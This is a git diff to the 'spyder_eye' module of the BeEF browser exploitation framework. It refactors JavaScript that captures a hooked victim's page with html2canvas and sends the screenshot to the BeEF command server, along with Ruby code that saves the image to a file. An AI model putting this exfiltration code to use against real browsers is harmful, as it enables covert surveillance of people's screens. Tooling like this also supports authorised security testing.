diff --git a/modules/browser/spyder_eye/command.js b/modules/browser/spyder_eye/command.js index c85781fbc..c03d16640 100644 --- a/modules/browser/spyder_eye/command.js +++ b/modules/browser/spyder_eye/command.js @@ -12,16 +12,11 @@ beef.execute(function() { $j("body").append( script ); html2canvas(document.body, { - onrendered: function(canvas) { - - var img = canvas.toDataURL("image/png"); - var output = img.replace(/^data:image\/(png|jpg);base64,/, ""); - - beef.net.send("<%= @command_url %>", <%= @command_id %>, output); - //beef.net.send("<%= @command_url %>", <%= @command_id %>, "image=All done"); - - } - }); - + onrendered: function(canvas) { + var img = canvas.toDataURL("image/png"); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "image="+img); + //beef.net.send("<%= @command_url %>", <%= @command_id %>, "image=All done"); + } + }); }); diff --git a/modules/browser/spyder_eye/module.rb b/modules/browser/spyder_eye/module.rb index 8effb91f2..bc756f1eb 100644 --- a/modules/browser/spyder_eye/module.rb +++ b/modules/browser/spyder_eye/module.rb @@ -12,14 +12,20 @@ class Spyder_eye < BeEF::Core::Command def post_execute content = {} - content['results'] = @datastore['results'] + content['results'] = @datastore['results'] if not @datastore['results'].nil? save content - #I would prefer use common logger but I haven't find the way to do it - # print "---------[ preth00nker says ]----------\n" - print_status("Browser screenshot saved to './beef/"+"SeO_"+@datastore['cid']+".png'\n") - #e.g. BeEF::Core::Logger.instance.register("spyder eye"," look for your file in ./beef/"+"SeO_"+@datastore['cid']+".png") - File.open("SeO_"+@datastore['cid']+'.png', 'wb') do |file| - file.write(Base64.decode64( content['results'] ) ) + + # save screenshot file + begin + filename = "screenshot_#{Integer(@datastore['cid'])}.png" + File.open(filename, 'wb') do |file| + data = @datastore['results'].gsub(/^image=data:image\/(png|jpg);base64,/, "") + file.write(Base64.decode64(data)) + end + print_info("Browser screenshot saved to '#{filename}'") + BeEF::Core::Logger.instance.register("Zombie", "Browser screenshot saved to '#{filename}'") + rescue Exception => e + print_error("Could not write screenshot file '#{filename}' - Exception: #{e.message}") end BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/html2canvas.js')